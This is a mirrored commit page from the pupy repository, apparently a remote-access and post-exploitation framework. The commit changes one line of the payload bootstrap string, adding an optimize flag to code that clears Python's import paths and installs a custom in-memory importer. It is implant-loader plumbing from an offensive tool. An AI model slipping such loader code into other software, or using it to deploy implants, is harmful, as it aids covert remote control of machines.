mirror of https://github.com/n1nj4sec/pupy.git
Set Py_OptimizeFlag from bootloader
This commit is contained in:
parent
109c3989ff
commit
e9b3526d03
|
@ -63,7 +63,7 @@ if __name__=="__main__":
|
|||
remove_stdout if not args.debug else 'print "DEBUG"\n',
|
||||
'import sys; sys.path=[]; sys.path_hooks=[]; sys.meta_path=[];' + (
|
||||
'sys.argv = [];' if not args.pass_argv else ''
|
||||
) + 'sys.prefix = ""; \n',
|
||||
) + 'sys.prefix = ""; sys.flags.optimize=1;\n',
|
||||
pupyload.format('pupyimporter', repr(pupyimporter)),
|
||||
'import pupyimporter\n'
|
||||
'pupyimporter.install({})\n'.format(args.debug),
|
||||
|
|
Loading…
Reference in New Issue